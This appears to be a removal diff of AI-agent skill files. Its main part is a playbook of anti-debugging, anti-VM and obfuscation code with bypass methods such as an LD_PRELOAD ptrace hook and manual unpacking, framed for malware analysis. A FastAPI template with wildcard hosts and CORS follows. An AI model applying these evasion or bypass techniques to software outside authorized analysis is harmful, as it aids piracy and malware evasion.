"date": "February 2026",
|
||||
"abstract": "Comprehensive guide to modern Angular development (v20+) designed for AI agents and LLMs. Covers Signals, Standalone Components, Zoneless applications, SSR/Hydration, reactive patterns, routing, dependency injection, and modern forms. Emphasizes component-driven architecture with practical examples and migration strategies for modernizing existing codebases.",
|
||||
"references": [
|
||||
"https://angular.dev",
|
||||
"https://angular.dev/guide/signals",
|
||||
"https://angular.dev/guide/zoneless",
|
||||
"https://angular.dev/guide/ssr",
|
||||
"https://angular.dev/guide/standalone-components",
|
||||
"https://angular.dev/guide/defer"
|
||||
]
|
||||
}
|
||||
@@ -1,44 +0,0 @@
|
||||
---
|
||||
name: anti-reversing-techniques
|
||||
description: "Understand anti-reversing, obfuscation, and protection techniques encountered during software analysis. Use when analyzing protected binaries, bypassing anti-debugging for authorized analysis, or u..."
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
> **AUTHORIZED USE ONLY**: This skill contains dual-use security techniques. Before proceeding with any bypass or analysis:
|
||||
> 1. **Verify authorization**: Confirm you have explicit written permission from the software owner, or are operating within a legitimate security context (CTF, authorized pentest, malware analysis, security research)
|
||||
> 2. **Document scope**: Ensure your activities fall within the defined scope of your authorization
|
||||
> 3. **Legal compliance**: Understand that unauthorized bypassing of software protection may violate laws (CFAA, DMCA anti-circumvention, etc.)
|
||||
>
|
||||
> **Legitimate use cases**: Malware analysis, authorized penetration testing, CTF competitions, academic security research, analyzing software you own/have rights to
|
||||
|
||||
## Use this skill when
|
||||
|
||||
- Analyzing protected binaries with explicit authorization
|
||||
- Conducting malware analysis or security research in scope
|
||||
- Participating in CTFs or approved training exercises
|
||||
- Understanding anti-debugging or obfuscation techniques for defense
|
||||
|
||||
## Do not use this skill when
|
||||
|
||||
- You lack written authorization or a defined scope
|
||||
- The goal is to bypass protections for piracy or misuse
|
||||
- Legal or policy restrictions prohibit analysis
|
||||
|
||||
## Instructions
|
||||
|
||||
1. Confirm written authorization, scope, and legal constraints.
|
||||
2. Identify protection mechanisms and choose safe analysis methods.
|
||||
3. Document findings and avoid modifying artifacts unnecessarily.
|
||||
4. Provide defensive recommendations and mitigation guidance.
|
||||
|
||||
## Safety
|
||||
|
||||
- Do not share bypass steps outside the authorized context.
|
||||
- Preserve evidence and maintain chain-of-custody for malware cases.
|
||||
|
||||
Refer to `resources/implementation-playbook.md` for detailed techniques and examples.
|
||||
|
||||
## Resources
|
||||
|
||||
- `resources/implementation-playbook.md` for detailed techniques and examples.
|
||||
@@ -1,539 +0,0 @@
|
||||
# Anti-Reversing Techniques Implementation Playbook
|
||||
|
||||
This file contains detailed patterns, checklists, and code samples referenced by the skill.
|
||||
|
||||
# Anti-Reversing Techniques
|
||||
|
||||
Understanding protection mechanisms encountered during authorized software analysis, security research, and malware analysis. This knowledge helps analysts bypass protections to complete legitimate analysis tasks.
|
||||
|
||||
## Anti-Debugging Techniques
|
||||
|
||||
### Windows Anti-Debugging
|
||||
|
||||
#### API-Based Detection
|
||||
|
||||
```c
|
||||
// IsDebuggerPresent
|
||||
if (IsDebuggerPresent()) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// CheckRemoteDebuggerPresent
|
||||
BOOL debugged = FALSE;
|
||||
CheckRemoteDebuggerPresent(GetCurrentProcess(), &debugged);
|
||||
if (debugged) exit(1);
|
||||
|
||||
// NtQueryInformationProcess
|
||||
typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)(
|
||||
HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
|
||||
|
||||
DWORD debugPort = 0;
|
||||
NtQueryInformationProcess(
|
||||
GetCurrentProcess(),
|
||||
ProcessDebugPort, // 7
|
||||
&debugPort,
|
||||
sizeof(debugPort),
|
||||
NULL
|
||||
);
|
||||
if (debugPort != 0) exit(1);
|
||||
|
||||
// Debug flags
|
||||
DWORD debugFlags = 0;
|
||||
NtQueryInformationProcess(
|
||||
GetCurrentProcess(),
|
||||
ProcessDebugFlags, // 0x1F
|
||||
&debugFlags,
|
||||
sizeof(debugFlags),
|
||||
NULL
|
||||
);
|
||||
if (debugFlags == 0) exit(1); // 0 means being debugged
|
||||
```
|
||||
|
||||
**Bypass Approaches:**
|
||||
```python
|
||||
# x64dbg: ScyllaHide plugin
|
||||
# Patches common anti-debug checks
|
||||
|
||||
# Manual patching in debugger:
|
||||
# - Set IsDebuggerPresent return to 0
|
||||
# - Patch PEB.BeingDebugged to 0
|
||||
# - Hook NtQueryInformationProcess
|
||||
|
||||
# IDAPython: Patch checks
|
||||
ida_bytes.patch_byte(check_addr, 0x90) # NOP
|
||||
```
|
||||
|
||||
#### PEB-Based Detection
|
||||
|
||||
```c
|
||||
// Direct PEB access
|
||||
#ifdef _WIN64
|
||||
PPEB peb = (PPEB)__readgsqword(0x60);
|
||||
#else
|
||||
PPEB peb = (PPEB)__readfsdword(0x30);
|
||||
#endif
|
||||
|
||||
// BeingDebugged flag
|
||||
if (peb->BeingDebugged) exit(1);
|
||||
|
||||
// NtGlobalFlag
|
||||
// Debugged: 0x70 (FLG_HEAP_ENABLE_TAIL_CHECK |
|
||||
// FLG_HEAP_ENABLE_FREE_CHECK |
|
||||
// FLG_HEAP_VALIDATE_PARAMETERS)
|
||||
if (peb->NtGlobalFlag & 0x70) exit(1);
|
||||
|
||||
// Heap flags
|
||||
PDWORD heapFlags = (PDWORD)((PBYTE)peb->ProcessHeap + 0x70);
|
||||
if (*heapFlags & 0x50000062) exit(1);
|
||||
```
|
||||
|
||||
**Bypass Approaches:**
|
||||
```assembly
|
||||
; In debugger, modify PEB directly
|
||||
; x64dbg: dump at gs:[60] (x64) or fs:[30] (x86)
|
||||
; Set BeingDebugged (offset 2) to 0
|
||||
; Clear NtGlobalFlag (offset 0xBC for x64)
|
||||
```
|
||||
|
||||
#### Timing-Based Detection
|
||||
|
||||
```c
|
||||
// RDTSC timing
|
||||
uint64_t start = __rdtsc();
|
||||
// ... some code ...
|
||||
uint64_t end = __rdtsc();
|
||||
if ((end - start) > THRESHOLD) exit(1);
|
||||
|
||||
// QueryPerformanceCounter
|
||||
LARGE_INTEGER start, end, freq;
|
||||
QueryPerformanceFrequency(&freq);
|
||||
QueryPerformanceCounter(&start);
|
||||
// ... code ...
|
||||
QueryPerformanceCounter(&end);
|
||||
double elapsed = (double)(end.QuadPart - start.QuadPart) / freq.QuadPart;
|
||||
if (elapsed > 0.1) exit(1); // Too slow = debugger
|
||||
|
||||
// GetTickCount
|
||||
DWORD start = GetTickCount();
|
||||
// ... code ...
|
||||
if (GetTickCount() - start > 1000) exit(1);
|
||||
```
|
||||
|
||||
**Bypass Approaches:**
|
||||
```
|
||||
- Use hardware breakpoints instead of software
|
||||
- Patch timing checks
|
||||
- Use VM with controlled time
|
||||
- Hook timing APIs to return consistent values
|
||||
```
|
||||
|
||||
#### Exception-Based Detection
|
||||
|
||||
```c
|
||||
// SEH-based detection
|
||||
__try {
|
||||
__asm { int 3 } // Software breakpoint
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER) {
|
||||
// Normal execution: exception caught
|
||||
return;
|
||||
}
|
||||
// Debugger ate the exception
|
||||
exit(1);
|
||||
|
||||
// VEH-based detection
|
||||
LONG CALLBACK VectoredHandler(PEXCEPTION_POINTERS ep) {
|
||||
if (ep->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {
|
||||
ep->ContextRecord->Rip++; // Skip INT3
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
```
|
||||
|
||||
### Linux Anti-Debugging
|
||||
|
||||
```c
|
||||
// ptrace self-trace
|
||||
if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) == -1) {
|
||||
// Already being traced
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// /proc/self/status
|
||||
FILE *f = fopen("/proc/self/status", "r");
|
||||
char line[256];
|
||||
while (fgets(line, sizeof(line), f)) {
|
||||
if (strncmp(line, "TracerPid:", 10) == 0) {
|
||||
int tracer_pid = atoi(line + 10);
|
||||
if (tracer_pid != 0) exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
// Parent process check
|
||||
if (getppid() != 1 && strcmp(get_process_name(getppid()), "bash") != 0) {
|
||||
// Unusual parent (might be debugger)
|
||||
}
|
||||
```
|
||||
|
||||
**Bypass Approaches:**
|
||||
```bash
|
||||
# LD_PRELOAD to hook ptrace
|
||||
# Compile: gcc -shared -fPIC -o hook.so hook.c
|
||||
long ptrace(int request, ...) {
|
||||
return 0; // Always succeed
|
||||
}
|
||||
|
||||
# Usage
|
||||
LD_PRELOAD=./hook.so ./target
|
||||
```
|
||||
|
||||
## Anti-VM Detection
|
||||
|
||||
### Hardware Fingerprinting
|
||||
|
||||
```c
|
||||
// CPUID-based detection
|
||||
int cpuid_info[4];
|
||||
__cpuid(cpuid_info, 1);
|
||||
// Check hypervisor bit (bit 31 of ECX)
|
||||
if (cpuid_info[2] & (1 << 31)) {
|
||||
// Running in hypervisor
|
||||
}
|
||||
|
||||
// CPUID brand string
|
||||
__cpuid(cpuid_info, 0x40000000);
|
||||
char vendor[13] = {0};
|
||||
memcpy(vendor, &cpuid_info[1], 12);
|
||||
// "VMwareVMware", "Microsoft Hv", "KVMKVMKVM", "VBoxVBoxVBox"
|
||||
|
||||
// MAC address prefix
|
||||
// VMware: 00:0C:29, 00:50:56
|
||||
// VirtualBox: 08:00:27
|
||||
// Hyper-V: 00:15:5D
|
||||
```
|
||||
|
||||
### Registry/File Detection
|
||||
|
||||
```c
|
||||
// Windows registry keys
|
||||
// HKLM\SOFTWARE\VMware, Inc.\VMware Tools
|
||||
// HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions
|
||||
// HKLM\HARDWARE\ACPI\DSDT\VBOX__
|
||||
|
||||
// Files
|
||||
// C:\Windows\System32\drivers\vmmouse.sys
|
||||
// C:\Windows\System32\drivers\vmhgfs.sys
|
||||
// C:\Windows\System32\drivers\VBoxMouse.sys
|
||||
|
||||
// Processes
|
||||
// vmtoolsd.exe, vmwaretray.exe
|
||||
// VBoxService.exe, VBoxTray.exe
|
||||
```
|
||||
|
||||
### Timing-Based VM Detection
|
||||
|
||||
```c
|
||||
// VM exits cause timing anomalies
|
||||
uint64_t start = __rdtsc();
|
||||
__cpuid(cpuid_info, 0); // Causes VM exit
|
||||
uint64_t end = __rdtsc();
|
||||
if ((end - start) > 500) {
|
||||
// Likely in VM (CPUID takes longer)
|
||||
}
|
||||
```
|
||||
|
||||
**Bypass Approaches:**
|
||||
```
|
||||
- Use bare-metal analysis environment
|
||||
- Harden VM (remove guest tools, change MAC)
|
||||
- Patch detection code
|
||||
- Use specialized analysis VMs (FLARE-VM)
|
||||
```
|
||||
|
||||
## Code Obfuscation
|
||||
|
||||
### Control Flow Obfuscation
|
||||
|
||||
#### Control Flow Flattening
|
||||
|
||||
```c
|
||||
// Original
|
||||
if (cond) {
|
||||
func_a();
|
||||
} else {
|
||||
func_b();
|
||||
}
|
||||
func_c();
|
||||
|
||||
// Flattened
|
||||
int state = 0;
|
||||
while (1) {
|
||||
switch (state) {
|
||||
case 0:
|
||||
state = cond ? 1 : 2;
|
||||
break;
|
||||
case 1:
|
||||
func_a();
|
||||
state = 3;
|
||||
break;
|
||||
case 2:
|
||||
func_b();
|
||||
state = 3;
|
||||
break;
|
||||
case 3:
|
||||
func_c();
|
||||
return;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Analysis Approach:**
|
||||
- Identify state variable
|
||||
- Map state transitions
|
||||
- Reconstruct original flow
|
||||
- Tools: D-810 (IDA), SATURN
|
||||
|
||||
#### Opaque Predicates
|
||||
|
||||
```c
|
||||
// Always true, but complex to analyze
|
||||
int x = rand();
|
||||
if ((x * x) >= 0) { // Always true
|
||||
real_code();
|
||||
} else {
|
||||
junk_code(); // Dead code
|
||||
}
|
||||
|
||||
// Always false
|
||||
if ((x * (x + 1)) % 2 == 1) { // Product of consecutive = even
|
||||
junk_code();
|
||||
}
|
||||
```
|
||||
|
||||
**Analysis Approach:**
|
||||
- Identify constant expressions
|
||||
- Symbolic execution to prove predicates
|
||||
- Pattern matching for known opaque predicates
|
||||
|
||||
### Data Obfuscation
|
||||
|
||||
#### String Encryption
|
||||
|
||||
```c
|
||||
// XOR encryption
|
||||
char decrypt_string(char *enc, int len, char key) {
|
||||
char *dec = malloc(len + 1);
|
||||
for (int i = 0; i < len; i++) {
|
||||
dec[i] = enc[i] ^ key;
|
||||
}
|
||||
dec[len] = 0;
|
||||
return dec;
|
||||
}
|
||||
|
||||
// Stack strings
|
||||
char url[20];
|
||||
url[0] = 'h'; url[1] = 't'; url[2] = 't'; url[3] = 'p';
|
||||
url[4] = ':'; url[5] = '/'; url[6] = '/';
|
||||
// ...
|
||||
```
|
||||
|
||||
**Analysis Approach:**
|
||||
```python
|
||||
# FLOSS for automatic string deobfuscation
|
||||
floss malware.exe
|
||||
|
||||
# IDAPython string decryption
|
||||
def decrypt_xor(ea, length, key):
|
||||
result = ""
|
||||
for i in range(length):
|
||||
byte = ida_bytes.get_byte(ea + i)
|
||||
result += chr(byte ^ key)
|
||||
return result
|
||||
```
|
||||
|
||||
#### API Obfuscation
|
||||
|
||||
```c
|
||||
// Dynamic API resolution
|
||||
typedef HANDLE (WINAPI *pCreateFileW)(LPCWSTR, DWORD, DWORD,
|
||||
LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
|
||||
|
||||
HMODULE kernel32 = LoadLibraryA("kernel32.dll");
|
||||
pCreateFileW myCreateFile = (pCreateFileW)GetProcAddress(
|
||||
kernel32, "CreateFileW");
|
||||
|
||||
// API hashing
|
||||
DWORD hash_api(char *name) {
|
||||
DWORD hash = 0;
|
||||
while (*name) {
|
||||
hash = ((hash >> 13) | (hash << 19)) + *name++;
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
// Resolve by hash comparison instead of string
|
||||
```
|
||||
|
||||
**Analysis Approach:**
|
||||
- Identify hash algorithm
|
||||
- Build hash database of known APIs
|
||||
- Use HashDB plugin for IDA
|
||||
- Dynamic analysis to resolve at runtime
|
||||
|
||||
### Instruction-Level Obfuscation
|
||||
|
||||
#### Dead Code Insertion
|
||||
|
||||
```asm
|
||||
; Original
|
||||
mov eax, 1
|
||||
|
||||
; With dead code
|
||||
push ebx ; Dead
|
||||
mov eax, 1
|
||||
pop ebx ; Dead
|
||||
xor ecx, ecx ; Dead
|
||||
add ecx, ecx ; Dead
|
||||
```
|
||||
|
||||
#### Instruction Substitution
|
||||
|
||||
```asm
|
||||
; Original: xor eax, eax (set to 0)
|
||||
; Substitutions:
|
||||
sub eax, eax
|
||||
mov eax, 0
|
||||
and eax, 0
|
||||
lea eax, [0]
|
||||
|
||||
; Original: mov eax, 1
|
||||
; Substitutions:
|
||||
xor eax, eax
|
||||
inc eax
|
||||
|
||||
push 1
|
||||
pop eax
|
||||
```
|
||||
|
||||
## Packing and Encryption
|
||||
|
||||
### Common Packers
|
||||
|
||||
```
|
||||
UPX - Open source, easy to unpack
|
||||
Themida - Commercial, VM-based protection
|
||||
VMProtect - Commercial, code virtualization
|
||||
ASPack - Compression packer
|
||||
PECompact - Compression packer
|
||||
Enigma - Commercial protector
|
||||
```
|
||||
|
||||
### Unpacking Methodology
|
||||
|
||||
```
|
||||
1. Identify packer (DIE, Exeinfo PE, PEiD)
|
||||
|
||||
2. Static unpacking (if known packer):
|
||||
- UPX: upx -d packed.exe
|
||||
- Use existing unpackers
|
||||
|
||||
3. Dynamic unpacking:
|
||||
a. Find Original Entry Point (OEP)
|
||||
b. Set breakpoint on OEP
|
||||
c. Dump memory when OEP reached
|
||||
d. Fix import table (Scylla, ImpREC)
|
||||
|
||||
4. OEP finding techniques:
|
||||
- Hardware breakpoint on stack (ESP trick)
|
||||
- Break on common API calls (GetCommandLineA)
|
||||
- Trace and look for typical entry patterns
|
||||
```
|
||||
|
||||
### Manual Unpacking Example
|
||||
|
||||
```
|
||||
1. Load packed binary in x64dbg
|
||||
2. Note entry point (packer stub)
|
||||
3. Use ESP trick:
|
||||
- Run to entry
|
||||
- Set hardware breakpoint on [ESP]
|
||||
- Run until breakpoint hits (after PUSHAD/POPAD)
|
||||
4. Look for JMP to OEP
|
||||
5. At OEP, use Scylla to:
|
||||
- Dump process
|
||||
- Find imports (IAT autosearch)
|
||||
- Fix dump
|
||||
```
|
||||
|
||||
## Virtualization-Based Protection
|
||||
|
||||
### Code Virtualization
|
||||
|
||||
```
|
||||
Original x86 code is converted to custom bytecode
|
||||
interpreted by embedded VM at runtime.
|
||||
|
||||
Original: VM Protected:
|
||||
mov eax, 1 push vm_context
|
||||
add eax, 2 call vm_entry
|
||||
; VM interprets bytecode
|
||||
; equivalent to original
|
||||
```
|
||||
|
||||
### Analysis Approaches
|
||||
|
||||
```
|
||||
1. Identify VM components:
|
||||
- VM entry (dispatcher)
|
||||
- Handler table
|
||||
- Bytecode location
|
||||
- Virtual registers/stack
|
||||
|
||||
2. Trace execution:
|
||||
- Log handler calls
|
||||
- Map bytecode to operations
|
||||
- Understand instruction set
|
||||
|
||||
3. Lifting/devirtualization:
|
||||
- Map VM instructions back to native
|
||||
- Tools: VMAttack, SATURN, NoVmp
|
||||
|
||||
4. Symbolic execution:
|
||||
- Analyze VM semantically
|
||||
- angr, Triton
|
||||
```
|
||||
|
||||
## Bypass Strategies Summary
|
||||
|
||||
### General Principles
|
||||
|
||||
1. **Understand the protection**: Identify what technique is used
|
||||
2. **Find the check**: Locate protection code in binary
|
||||
3. **Patch or hook**: Modify check to always pass
|
||||
4. **Use appropriate tools**: ScyllaHide, x64dbg plugins
|
||||
5. **Document findings**: Keep notes on bypassed protections
|
||||
|
||||
### Tool Recommendations
|
||||
|
||||
```
|
||||
Anti-debug bypass: ScyllaHide, TitanHide
|
||||
Unpacking: x64dbg + Scylla, OllyDumpEx
|
||||
Deobfuscation: D-810, SATURN, miasm
|
||||
VM analysis: VMAttack, NoVmp, manual tracing
|
||||
String decryption: FLOSS, custom scripts
|
||||
Symbolic execution: angr, Triton
|
||||
```
|
||||
|
||||
### Ethical Considerations
|
||||
|
||||
This knowledge should only be used for:
|
||||
- Authorized security research
|
||||
- Malware analysis (defensive)
|
||||
- CTF competitions
|
||||
- Understanding protections for legitimate purposes
|
||||
- Educational purposes
|
||||
|
||||
Never use to bypass protections for:
|
||||
- Software piracy
|
||||
- Unauthorized access
|
||||
- Malicious purposes
|
||||
@@ -1,80 +0,0 @@
|
||||
---
|
||||
name: antigravity-workflows
|
||||
description: "Orchestrate multiple Antigravity skills through guided workflows for SaaS MVP delivery, security audits, AI agent builds, and browser QA."
|
||||
source: self
|
||||
risk: none
|
||||
---
|
||||
|
||||
# Antigravity Workflows
|
||||
|
||||
Use this skill to turn a complex objective into a guided sequence of skill invocations.
|
||||
|
||||
## When to Use This Skill
|
||||
|
||||
Use this skill when:
|
||||
- The user wants to combine several skills without manually selecting each one.
|
||||
- The goal is multi-phase (for example: plan, build, test, ship).
|
||||
- The user asks for best-practice execution for common scenarios like:
|
||||
- Shipping a SaaS MVP
|
||||
- Running a web security audit
|
||||
- Building an AI agent system
|
||||
- Implementing browser automation and E2E QA
|
||||
|
||||
## Workflow Source of Truth
|
||||
|
||||
Read workflows in this order:
|
||||
1. `docs/WORKFLOWS.md` for human-readable playbooks.
|
||||
2. `data/workflows.json` for machine-readable workflow metadata.
|
||||
|
||||
## How to Run This Skill
|
||||
|
||||
1. Identify the user's concrete outcome.
|
||||
2. Propose the 1-2 best matching workflows.
|
||||
3. Ask the user to choose one.
|
||||
4. Execute step-by-step:
|
||||
- Announce current step and expected artifact.
|
||||
- Invoke recommended skills for that step.
|
||||
- Verify completion criteria before moving to next step.
|
||||
5. At the end, provide:
|
||||
- Completed artifacts
|
||||
- Validation evidence
|
||||
- Remaining risks and next actions
|
||||
|
||||
## Default Workflow Routing
|
||||
|
||||
- Product delivery request -> `ship-saas-mvp`
|
||||
- Security review request -> `security-audit-web-app`
|
||||
- Agent/LLM product request -> `build-ai-agent-system`
|
||||
- E2E/browser testing request -> `qa-browser-automation`
|
||||
|
||||
## Copy-Paste Prompts
|
||||
|
||||
```text
|
||||
Use @antigravity-workflows to run the "Ship a SaaS MVP" workflow for my project idea.
|
||||
```
|
||||
|
||||
```text
|
||||
Use @antigravity-workflows and execute a full "Security Audit for a Web App" workflow.
|
||||
```
|
||||
|
||||
```text
|
||||
Use @antigravity-workflows to guide me through "Build an AI Agent System" with checkpoints.
|
||||
```
|
||||
|
||||
```text
|
||||
Use @antigravity-workflows to execute the "QA and Browser Automation" workflow and stabilize flaky tests.
|
||||
```
|
||||
|
||||
## Limitations
|
||||
|
||||
- This skill orchestrates; it does not replace specialized skills.
|
||||
- It depends on the local availability of referenced skills.
|
||||
- It does not guarantee success without environment access, credentials, or required infrastructure.
|
||||
- For stack-specific browser automation in Go, `go-playwright` may require the corresponding skill to be present in your local skills repository.
|
||||
|
||||
## Related Skills
|
||||
|
||||
- `concise-planning`
|
||||
- `brainstorming`
|
||||
- `workflow-automation`
|
||||
- `verification-before-completion`
|
||||
@@ -1,36 +0,0 @@
|
||||
# Antigravity Workflows Implementation Playbook
|
||||
|
||||
This document explains how an agent should execute workflow-based orchestration.
|
||||
|
||||
## Execution Contract
|
||||
|
||||
For every workflow:
|
||||
|
||||
1. Confirm objective and scope.
|
||||
2. Select the best-matching workflow.
|
||||
3. Execute workflow steps in order.
|
||||
4. Produce one concrete artifact per step.
|
||||
5. Validate before continuing.
|
||||
|
||||
## Step Artifact Examples
|
||||
|
||||
- Plan step -> scope document or milestone checklist.
|
||||
- Build step -> code changes and implementation notes.
|
||||
- Test step -> test results and failure triage.
|
||||
- Release step -> rollout checklist and risk log.
|
||||
|
||||
## Safety Guardrails
|
||||
|
||||
- Never run destructive actions without explicit user approval.
|
||||
- If a required skill is missing, state the gap and fallback to closest available skill.
|
||||
- When security testing is involved, ensure authorization is explicit.
|
||||
|
||||
## Suggested Completion Format
|
||||
|
||||
At workflow completion, return:
|
||||
|
||||
1. Completed steps
|
||||
2. Artifacts produced
|
||||
3. Validation evidence
|
||||
4. Open risks
|
||||
5. Suggested next action
|
||||
@@ -1,39 +0,0 @@
|
||||
---
|
||||
name: api-design-principles
|
||||
description: "Master REST and GraphQL API design principles to build intuitive, scalable, and maintainable APIs that delight developers. Use when designing new APIs, reviewing API specifications, or establishing..."
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# API Design Principles
|
||||
|
||||
Master REST and GraphQL API design principles to build intuitive, scalable, and maintainable APIs that delight developers and stand the test of time.
|
||||
|
||||
## Use this skill when
|
||||
|
||||
- Designing new REST or GraphQL APIs
|
||||
- Refactoring existing APIs for better usability
|
||||
- Establishing API design standards for your team
|
||||
- Reviewing API specifications before implementation
|
||||
- Migrating between API paradigms (REST to GraphQL, etc.)
|
||||
- Creating developer-friendly API documentation
|
||||
- Optimizing APIs for specific use cases (mobile, third-party integrations)
|
||||
|
||||
## Do not use this skill when
|
||||
|
||||
- You only need implementation guidance for a specific framework
|
||||
- You are doing infrastructure-only work without API contracts
|
||||
- You cannot change or version public interfaces
|
||||
|
||||
## Instructions
|
||||
|
||||
1. Define consumers, use cases, and constraints.
|
||||
2. Choose API style and model resources or types.
|
||||
3. Specify errors, versioning, pagination, and auth strategy.
|
||||
4. Validate with examples and review for consistency.
|
||||
|
||||
Refer to `resources/implementation-playbook.md` for detailed patterns, checklists, and templates.
|
||||
|
||||
## Resources
|
||||
|
||||
- `resources/implementation-playbook.md` for detailed patterns, checklists, and templates.
|
||||
@@ -1,155 +0,0 @@
|
||||
# API Design Checklist
|
||||
|
||||
## Pre-Implementation Review
|
||||
|
||||
### Resource Design
|
||||
|
||||
- [ ] Resources are nouns, not verbs
|
||||
- [ ] Plural names for collections
|
||||
- [ ] Consistent naming across all endpoints
|
||||
- [ ] Clear resource hierarchy (avoid deep nesting >2 levels)
|
||||
- [ ] All CRUD operations properly mapped to HTTP methods
|
||||
|
||||
### HTTP Methods
|
||||
|
||||
- [ ] GET for retrieval (safe, idempotent)
|
||||
- [ ] POST for creation
|
||||
- [ ] PUT for full replacement (idempotent)
|
||||
- [ ] PATCH for partial updates
|
||||
- [ ] DELETE for removal (idempotent)
|
||||
|
||||
### Status Codes
|
||||
|
||||
- [ ] 200 OK for successful GET/PATCH/PUT
|
||||
- [ ] 201 Created for POST
|
||||
- [ ] 204 No Content for DELETE
|
||||
- [ ] 400 Bad Request for malformed requests
|
||||
- [ ] 401 Unauthorized for missing auth
|
||||
- [ ] 403 Forbidden for insufficient permissions
|
||||
- [ ] 404 Not Found for missing resources
|
||||
- [ ] 422 Unprocessable Entity for validation errors
|
||||
- [ ] 429 Too Many Requests for rate limiting
|
||||
- [ ] 500 Internal Server Error for server issues
|
||||
|
||||
### Pagination
|
||||
|
||||
- [ ] All collection endpoints paginated
|
||||
- [ ] Default page size defined (e.g., 20)
|
||||
- [ ] Maximum page size enforced (e.g., 100)
|
||||
- [ ] Pagination metadata included (total, pages, etc.)
|
||||
- [ ] Cursor-based or offset-based pattern chosen
|
||||
|
||||
### Filtering & Sorting
|
||||
|
||||
- [ ] Query parameters for filtering
|
||||
- [ ] Sort parameter supported
|
||||
- [ ] Search parameter for full-text search
|
||||
- [ ] Field selection supported (sparse fieldsets)
|
||||
|
||||
### Versioning
|
||||
|
||||
- [ ] Versioning strategy defined (URL/header/query)
|
||||
- [ ] Version included in all endpoints
|
||||
- [ ] Deprecation policy documented
|
||||
|
||||
### Error Handling
|
||||
|
||||
- [ ] Consistent error response format
|
||||
- [ ] Detailed error messages
|
||||
- [ ] Field-level validation errors
|
||||
- [ ] Error codes for client handling
|
||||
- [ ] Timestamps in error responses
|
||||
|
||||
### Authentication & Authorization
|
||||
|
||||
- [ ] Authentication method defined (Bearer token, API key)
|
||||
- [ ] Authorization checks on all endpoints
|
||||
- [ ] 401 vs 403 used correctly
|
||||
- [ ] Token expiration handled
|
||||
|
||||
### Rate Limiting
|
||||
|
||||
- [ ] Rate limits defined per endpoint/user
|
||||
- [ ] Rate limit headers included
|
||||
- [ ] 429 status code for exceeded limits
|
||||
- [ ] Retry-After header provided
|
||||
|
||||
### Documentation
|
||||
|
||||
- [ ] OpenAPI/Swagger spec generated
|
||||
- [ ] All endpoints documented
|
||||
- [ ] Request/response examples provided
|
||||
- [ ] Error responses documented
|
||||
- [ ] Authentication flow documented
|
||||
|
||||
### Testing
|
||||
|
||||
- [ ] Unit tests for business logic
|
||||
- [ ] Integration tests for endpoints
|
||||
- [ ] Error scenarios tested
|
||||
- [ ] Edge cases covered
|
||||
- [ ] Performance tests for heavy endpoints
|
||||
|
||||
### Security
|
||||
|
||||
- [ ] Input validation on all fields
|
||||
- [ ] SQL injection prevention
|
||||
- [ ] XSS prevention
|
||||
- [ ] CORS configured correctly
|
||||
- [ ] HTTPS enforced
|
||||
- [ ] Sensitive data not in URLs
|
||||
- [ ] No secrets in responses
|
||||
|
||||
### Performance
|
||||
|
||||
- [ ] Database queries optimized
|
||||
- [ ] N+1 queries prevented
|
||||
- [ ] Caching strategy defined
|
||||
- [ ] Cache headers set appropriately
|
||||
- [ ] Large responses paginated
|
||||
|
||||
### Monitoring
|
||||
|
||||
- [ ] Logging implemented
|
||||
- [ ] Error tracking configured
|
||||
- [ ] Performance metrics collected
|
||||
- [ ] Health check endpoint available
|
||||
- [ ] Alerts configured for errors
|
||||
|
||||
## GraphQL-Specific Checks
|
||||
|
||||
### Schema Design
|
||||
|
||||
- [ ] Schema-first approach used
|
||||
- [ ] Types properly defined
|
||||
- [ ] Non-null vs nullable decided
|
||||
- [ ] Interfaces/unions used appropriately
|
||||
- [ ] Custom scalars defined
|
||||
|
||||
### Queries
|
||||
|
||||
- [ ] Query depth limiting
|
||||
- [ ] Query complexity analysis
|
||||
- [ ] DataLoaders prevent N+1
|
||||
- [ ] Pagination pattern chosen (Relay/offset)
|
||||
|
||||
### Mutations
|
||||
|
||||
- [ ] Input types defined
|
||||
- [ ] Payload types with errors
|
||||
- [ ] Optimistic response support
|
||||
- [ ] Idempotency considered
|
||||
|
||||
### Performance
|
||||
|
||||
- [ ] DataLoader for all relationships
|
||||
- [ ] Query batching enabled
|
||||
- [ ] Persisted queries considered
|
||||
- [ ] Response caching implemented
|
||||
|
||||
### Documentation
|
||||
|
||||
- [ ] All fields documented
|
||||
- [ ] Deprecations marked
|
||||
- [ ] Examples provided
|
||||
- [ ] Schema introspection enabled
|
||||
@@ -1,182 +0,0 @@
|
||||
"""
|
||||
Production-ready REST API template using FastAPI.
|
||||
Includes pagination, filtering, error handling, and best practices.
|
||||
"""
|
||||
|
||||
from fastapi import FastAPI, HTTPException, Query, Path, Depends, status
|
||||
from fastapi.middleware.cors import CORSMiddleware
|
||||
from fastapi.middleware.trustedhost import TrustedHostMiddleware
|
||||
from fastapi.responses import JSONResponse
|
||||
from pydantic import BaseModel, Field, EmailStr, ConfigDict
|
||||
from typing import Optional, List, Any
|
||||
from datetime import datetime
|
||||
from enum import Enum
|
||||
|
||||
app = FastAPI(
|
||||
title="API Template",
|
||||
version="1.0.0",
|
||||
docs_url="/api/docs"
|
||||
)
|
||||
|
||||
# Security Middleware
|
||||
# Trusted Host: Prevents HTTP Host Header attacks
|
||||
app.add_middleware(
|
||||
TrustedHostMiddleware,
|
||||
allowed_hosts=["*"] # TODO: Configure this in production, e.g. ["api.example.com"]
|
||||
)
|
||||
|
||||
# CORS: Configures Cross-Origin Resource Sharing
|
||||
app.add_middleware(
|
||||
CORSMiddleware,
|
||||
allow_origins=["*"], # TODO: Update this with specific origins in production
|
||||
